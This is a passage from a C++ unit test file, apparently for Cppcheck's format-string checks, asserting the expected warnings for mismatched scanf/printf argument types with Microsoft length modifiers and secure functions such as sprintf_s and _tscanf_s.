*' but the argument type is 'unsigned __int64 * {aka unsigned long long *}'. [invalidScanfArgType_int]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" size_t s;\\n\"\n \" ptrdiff_t p;\\n\"\n \" __int32 i32;\\n\"\n \" unsigned __int32 u32;\\n\"\n \" __int64 i64;\\n\"\n \" unsigned __int64 u64;\\n\"\n \" scanf(\\\"%Id %Iu %Ix\\\", &s, &s, &s);\\n\"\n \" scanf(\\\"%Id %Iu %Ix\\\", &p, &p, &p);\\n\"\n \" scanf(\\\"%I32d %I32u %I32x\\\", &i32, &i32, &i32);\\n\"\n \" scanf(\\\"%I32d %I32u %I32x\\\", &u32, &u32, &u32);\\n\"\n \" scanf(\\\"%I64d %I64u %I64x\\\", &i64, &i64, &i64);\\n\"\n \" scanf(\\\"%I64d %I64u %I64x\\\", &u64, &u64, &u64);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win64));\n ASSERT_EQUALS(\"[test.cpp:8:5]: (portability) %Id in format string (no. 1) requires 'ptrdiff_t *' but the argument type is 'size_t * {aka unsigned long long *}'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:9:5]: (portability) %Iu in format string (no. 2) requires 'size_t *' but the argument type is 'ptrdiff_t * {aka signed long long *}'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:9:5]: (portability) %Ix in format string (no. 3) requires 'size_t *' but the argument type is 'ptrdiff_t * {aka signed long long *}'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:10:5]: (portability) %I32u in format string (no. 2) requires 'unsigned __int32 *' but the argument type is '__int32 * {aka signed int *}'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:10:5]: (portability) %I32x in format string (no. 3) requires 'unsigned __int32 *' but the argument type is '__int32 * {aka signed int *}'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:11:5]: (portability) %I32d in format string (no. 1) requires '__int32 *' but the argument type is 'unsigned __int32 * {aka unsigned int *}'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:12:5]: (portability) %I64u in format string (no. 2) requires 'unsigned __int64 *' but the argument type is '__int64 * {aka signed long long *}'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:12:5]: (portability) %I64x in format string (no. 3) requires 'unsigned __int64 *' but the argument type is '__int64 * {aka signed long long *}'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:13:5]: (portability) %I64d in format string (no. 1) requires '__int64 *' but the argument type is 'unsigned __int64 * {aka unsigned long long *}'. [invalidScanfArgType_int]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" size_t s;\\n\"\n \" int i;\\n\"\n \" scanf(\\\"%I\\\", &s);\\n\"\n \" scanf(\\\"%I6\\\", &s);\\n\"\n \" scanf(\\\"%I6x\\\", &s);\\n\"\n \" scanf(\\\"%I16\\\", &s);\\n\"\n \" scanf(\\\"%I16x\\\", &s);\\n\"\n \" scanf(\\\"%I32\\\", &s);\\n\"\n \" scanf(\\\"%I64\\\", &s);\\n\"\n \" scanf(\\\"%I%i\\\", &s, &i);\\n\"\n \" scanf(\\\"%I6%i\\\", &s, &i);\\n\"\n \" scanf(\\\"%I6x%i\\\", &s, &i);\\n\"\n \" scanf(\\\"%I16%i\\\", &s, &i);\\n\"\n \" scanf(\\\"%I16x%i\\\", &s, &i);\\n\"\n \" scanf(\\\"%I32%i\\\", &s, &i);\\n\"\n \" scanf(\\\"%I64%i\\\", &s, &i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:5:5]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:6:5]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:7:5]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:8:5]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:9:5]: (warning) 'I32' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:10:5]: (warning) 'I64' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:11:5]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:12:5]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:13:5]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:14:5]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:15:5]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:16:5]: (warning) 'I32' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:17:5]: (warning) 'I64' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" SSIZE_T s;\\n\" // In MSVC, SSIZE_T is available in capital letters using #include \n \" int i;\\n\"\n \" scanf(\\\"%zd\\\", &s);\\n\"\n \" scanf(\\\"%zd%i\\\", &s, &i);\\n\"\n \" scanf(\\\"%zu\\\", &s);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) %zu in format string (no. 1) requires 'size_t *' but the argument type is 'SSIZE_T * {aka signed long *}'. [invalidScanfArgType_int]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" SSIZE_T s;\\n\" // In MSVC, SSIZE_T is available in capital letters using #include \n \" int i;\\n\"\n \" scanf(\\\"%zd\\\", &s);\\n\"\n \" scanf(\\\"%zd%i\\\", &s, &i);\\n\"\n \" scanf(\\\"%zu\\\", &s);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win64));\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) %zu in format string (no. 1) requires 'size_t *' but the argument type is 'SSIZE_T * {aka signed long long *}'. [invalidScanfArgType_int]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" SSIZE_T s;\\n\" // Under Unix, ssize_t has to be written in small letters. Not Cppcheck, but the compiler will report this.\n \" int i;\\n\"\n \" scanf(\\\"%zd\\\", &s);\\n\"\n \" scanf(\\\"%zd%i\\\", &s, &i);\\n\"\n \" scanf(\\\"%zu\\\", &s);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" typedef SSIZE_T ssize_t;\\n\" // Test using typedef\n \" ssize_t s;\\n\"\n \" int i;\\n\"\n \" scanf(\\\"%zd\\\", &s);\\n\"\n \" scanf(\\\"%zd%i\\\", &s, &i);\\n\"\n \" scanf(\\\"%zu\\\", &s);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win64));\n ASSERT_EQUALS(\"[test.cpp:7:5]: (portability) %zu in format string (no. 1) requires 'size_t *' but the argument type is 'SSIZE_T * {aka signed long long *}'. [invalidScanfArgType_int]\\n\", errout_str());\n\n }\n\n void testMicrosoftCStringFormatArguments() { // ticket #4920\n check(\"void foo() {\\n\"\n \" unsigned __int32 u32;\\n\"\n \" String string;\\n\"\n \" string.Format(\\\"%I32d\\\", u32);\\n\"\n \" string.AppendFormat(\\\"%I32d\\\", u32);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" unsigned __int32 u32;\\n\"\n \" CString string;\\n\"\n \" string.Format(\\\"%I32d\\\", u32);\\n\"\n \" string.AppendFormat(\\\"%I32d\\\", u32);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix32));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" unsigned __int32 u32;\\n\"\n \" CString string;\\n\"\n \" string.Format(\\\"%I32d\\\", u32);\\n\"\n \" string.AppendFormat(\\\"%I32d\\\", u32);\\n\"\n \" CString::Format(\\\"%I32d\\\", u32);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:4:12]: (portability) %I32d in format string (no. 1) requires '__int32' but the argument type is 'unsigned __int32 {aka unsigned int}'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:5:12]: (portability) %I32d in format string (no. 1) requires '__int32' but the argument type is 'unsigned __int32 {aka unsigned int}'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:6:14]: (portability) %I32d in format string (no. 1) requires '__int32' but the argument type is 'unsigned __int32 {aka unsigned int}'. [invalidPrintfArgType_sint]\\n\", errout_str());\n }\n\n void testMicrosoftSecurePrintfArgument() {\n check(\"void foo() {\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" _tprintf_s(_T(\\\"%d %u\\\"), u, i, 0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'unsigned int'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:4:5]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:4:5]: (warning) _tprintf_s format string requires 2 parameters but 3 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" _tprintf_s(_T(\\\"%d %u\\\"), u, i, 0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'unsigned int'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:4:5]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:4:5]: (warning) _tprintf_s format string requires 2 parameters but 3 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" printf_s(\\\"%d %u\\\", u, i, 0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'unsigned int'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:4:5]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:4:5]: (warning) printf_s format string requires 2 parameters but 3 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" wprintf_s(L\\\"%d %u\\\", u, i, 0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'unsigned int'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:4:5]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:4:5]: (warning) wprintf_s format string requires 2 parameters but 3 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" TCHAR str[10];\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" _stprintf_s(str, sizeof(str) / sizeof(TCHAR), _T(\\\"%d %u\\\"), u, i, 0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'unsigned int'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:5:5]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:5:5]: (warning) _stprintf_s format string requires 2 parameters but 3 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" TCHAR str[10];\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" _stprintf_s(str, sizeof(str) / sizeof(TCHAR), _T(\\\"%d %u\\\"), u, i, 0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'unsigned int'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:5:5]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:5:5]: (warning) _stprintf_s format string requires 2 parameters but 3 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char str[10];\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" sprintf_s(str, sizeof(str), \\\"%d %u\\\", u, i, 0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'unsigned int'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:5:5]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:5:5]: (warning) sprintf_s format string requires 2 parameters but 3 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char str[10];\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" sprintf_s(str, \\\"%d %u\\\", u, i, 0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'unsigned int'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:5:5]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:5:5]: (warning) sprintf_s format string requires 2 parameters but 3 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t str[10];\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" swprintf_s(str, sizeof(str) / sizeof(wchar_t), L\\\"%d %u\\\", u, i, 0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'unsigned int'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:5:5]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:5:5]: (warning) swprintf_s format string requires 2 parameters but 3 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t str[10];\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" swprintf_s(str, L\\\"%d %u\\\", u, i, 0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'unsigned int'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:5:5]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:5:5]: (warning) swprintf_s format string requires 2 parameters but 3 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" TCHAR str[10];\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" _sntprintf_s(str, sizeof(str) / sizeof(TCHAR), _TRUNCATE, _T(\\\"%d %u\\\"), u, i, 0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'unsigned int'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:5:5]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:5:5]: (warning) _sntprintf_s format string requires 2 parameters but 3 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" TCHAR str[10];\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" _sntprintf_s(str, sizeof(str) / sizeof(TCHAR), _TRUNCATE, _T(\\\"%d %u\\\"), u, i, 0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'unsigned int'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:5:5]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:5:5]: (warning) _sntprintf_s format string requires 2 parameters but 3 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char str[10];\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" _snprintf_s(str, sizeof(str), _TRUNCATE, \\\"%d %u\\\", u, i, 0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'unsigned int'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:5:5]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:5:5]: (warning) _snprintf_s format string requires 2 parameters but 3 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t str[10];\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" _snwprintf_s(str, sizeof(str) / sizeof(wchar_t), _TRUNCATE, L\\\"%d %u\\\", u, i, 0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'unsigned int'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:5:5]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:5:5]: (warning) _snwprintf_s format string requires 2 parameters but 3 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo(FILE * fp) {\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" _ftprintf_s(fp, _T(\\\"%d %u\\\"), u, i, 0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'unsigned int'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:4:5]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:4:5]: (warning) _ftprintf_s format string requires 2 parameters but 3 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo(FILE * fp) {\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" _ftprintf_s(fp, _T(\\\"%d %u\\\"), u, i, 0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'unsigned int'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:4:5]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:4:5]: (warning) _ftprintf_s format string requires 2 parameters but 3 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo(FILE * fp) {\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" fprintf_s(fp, \\\"%d %u\\\", u, i, 0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'unsigned int'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:4:5]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:4:5]: (warning) fprintf_s format string requires 2 parameters but 3 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo(FILE * fp) {\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" fwprintf_s(fp, L\\\"%d %u\\\", u, i, 0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'unsigned int'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:4:5]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:4:5]: (warning) fwprintf_s format string requires 2 parameters but 3 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char lineBuffer [600];\\n\"\n \" const char * const format = \\\"%15s%17s%17s%17s%17s\\\";\\n\"\n \" sprintf_s(lineBuffer, 600, format, \\\"type\\\", \\\"sum\\\", \\\"avg\\\", \\\"min\\\", \\\"max\\\");\\n\"\n \" sprintf_s(lineBuffer, format, \\\"type\\\", \\\"sum\\\", \\\"avg\\\", \\\"min\\\", \\\"max\\\");\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const char * const format1 = \\\"%15s%17s%17s%17s%17s\\\";\\n\"\n \" const char format2[] = \\\"%15s%17s%17s%17s%17s\\\";\\n\"\n \" const char * const format3 = format1;\\n\"\n \" int i = 0;\\n\"\n \" sprintf_s(lineBuffer, format1, \\\"type\\\", \\\"sum\\\", \\\"avg\\\", \\\"min\\\", i, 0);\\n\"\n \" sprintf_s(lineBuffer, format2, \\\"type\\\", \\\"sum\\\", \\\"avg\\\", \\\"min\\\", i, 0);\\n\"\n \" sprintf_s(lineBuffer, format3, \\\"type\\\", \\\"sum\\\", \\\"avg\\\", \\\"min\\\", i, 0);\\n\"\n \" sprintf(lineBuffer, format1, \\\"type\\\", \\\"sum\\\", \\\"avg\\\", \\\"min\\\", i, 0);\\n\"\n \" sprintf(lineBuffer, format2, \\\"type\\\", \\\"sum\\\", \\\"avg\\\", \\\"min\\\", i, 0);\\n\"\n \" sprintf(lineBuffer, format3, \\\"type\\\", \\\"sum\\\", \\\"avg\\\", \\\"min\\\", i, 0);\\n\"\n \" printf(format1, \\\"type\\\", \\\"sum\\\", \\\"avg\\\", \\\"min\\\", i, 0);\\n\"\n \" printf(format2, \\\"type\\\", \\\"sum\\\", \\\"avg\\\", \\\"min\\\", i, 0);\\n\"\n \" printf(format3, \\\"type\\\", \\\"sum\\\", \\\"avg\\\", \\\"min\\\", i, 0);\\n\"\n \" sprintf_s(lineBuffer, 100, format1, \\\"type\\\", \\\"sum\\\", \\\"avg\\\", \\\"min\\\", i, 0);\\n\"\n \" sprintf_s(lineBuffer, 100, format2, \\\"type\\\", \\\"sum\\\", \\\"avg\\\", \\\"min\\\", i, 0);\\n\"\n \" sprintf_s(lineBuffer, 100, format3, \\\"type\\\", \\\"sum\\\", \\\"avg\\\", \\\"min\\\", i, 0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:6:5]: (warning) %s in format string (no. 5) requires 'char *' but the argument type is 'signed int'. [invalidPrintfArgType_s]\\n\"\n \"[test.cpp:6:5]: (warning) sprintf_s format string requires 5 parameters but 6 are given. [wrongPrintfScanfArgNum]\\n\"\n \"[test.cpp:7:5]: (warning) %s in format string (no. 5) requires 'char *' but the argument type is 'signed int'. [invalidPrintfArgType_s]\\n\"\n \"[test.cpp:7:5]: (warning) sprintf_s format string requires 5 parameters but 6 are given. [wrongPrintfScanfArgNum]\\n\"\n \"[test.cpp:8:5]: (warning) %s in format string (no. 5) requires 'char *' but the argument type is 'signed int'. [invalidPrintfArgType_s]\\n\"\n \"[test.cpp:8:5]: (warning) sprintf_s format string requires 5 parameters but 6 are given. [wrongPrintfScanfArgNum]\\n\"\n \"[test.cpp:9:5]: (warning) %s in format string (no. 5) requires 'char *' but the argument type is 'signed int'. [invalidPrintfArgType_s]\\n\"\n \"[test.cpp:9:5]: (warning) sprintf format string requires 5 parameters but 6 are given. [wrongPrintfScanfArgNum]\\n\"\n \"[test.cpp:10:5]: (warning) %s in format string (no. 5) requires 'char *' but the argument type is 'signed int'. [invalidPrintfArgType_s]\\n\"\n \"[test.cpp:10:5]: (warning) sprintf format string requires 5 parameters but 6 are given. [wrongPrintfScanfArgNum]\\n\"\n \"[test.cpp:11:5]: (warning) %s in format string (no. 5) requires 'char *' but the argument type is 'signed int'. [invalidPrintfArgType_s]\\n\"\n \"[test.cpp:11:5]: (warning) sprintf format string requires 5 parameters but 6 are given. [wrongPrintfScanfArgNum]\\n\"\n \"[test.cpp:12:5]: (warning) %s in format string (no. 5) requires 'char *' but the argument type is 'signed int'. [invalidPrintfArgType_s]\\n\"\n \"[test.cpp:12:5]: (warning) printf format string requires 5 parameters but 6 are given. [wrongPrintfScanfArgNum]\\n\"\n \"[test.cpp:13:5]: (warning) %s in format string (no. 5) requires 'char *' but the argument type is 'signed int'. [invalidPrintfArgType_s]\\n\"\n \"[test.cpp:13:5]: (warning) printf format string requires 5 parameters but 6 are given. [wrongPrintfScanfArgNum]\\n\"\n \"[test.cpp:14:5]: (warning) %s in format string (no. 5) requires 'char *' but the argument type is 'signed int'. [invalidPrintfArgType_s]\\n\"\n \"[test.cpp:14:5]: (warning) printf format string requires 5 parameters but 6 are given. [wrongPrintfScanfArgNum]\\n\"\n \"[test.cpp:15:5]: (warning) %s in format string (no. 5) requires 'char *' but the argument type is 'signed int'. [invalidPrintfArgType_s]\\n\"\n \"[test.cpp:15:5]: (warning) sprintf_s format string requires 5 parameters but 6 are given. [wrongPrintfScanfArgNum]\\n\"\n \"[test.cpp:16:5]: (warning) %s in format string (no. 5) requires 'char *' but the argument type is 'signed int'. [invalidPrintfArgType_s]\\n\"\n \"[test.cpp:16:5]: (warning) sprintf_s format string requires 5 parameters but 6 are given. [wrongPrintfScanfArgNum]\\n\"\n \"[test.cpp:17:5]: (warning) %s in format string (no. 5) requires 'char *' but the argument type is 'signed int'. [invalidPrintfArgType_s]\\n\"\n \"[test.cpp:17:5]: (warning) sprintf_s format string requires 5 parameters but 6 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n }\n\n void testMicrosoftSecureScanfArgument() {\n check(\"void foo() {\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" TCHAR str[10];\\n\"\n \" _tscanf_s(_T(\\\"%s %d %u %[a-z]\\\"), str, 10, &u, &i, str, 10, 0)\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) %d in format string (no. 2) requires 'int *' but the argument type is 'unsigned int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:5:5]: (warning) %u in format string (no. 3) requires 'unsigned int *' but the argument type is 'signed int *'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:5:5]: (warning) _tscanf_s format string requires 6 parameters but 7 are given. [wrongPrintfScanfArgNum]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int i;\\n\"\n \" unsigned int u;\\n\"\n \" TCHAR str[10];\\n\"\n \" _tscanf_s(_T(\\\"%s %d %u %[a-z]\\\"), str, 10, &u, &i, str, 10, 0)\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) %d in format string (no. 2) requires 'int *' but the argument type is 'unsigned int *'. 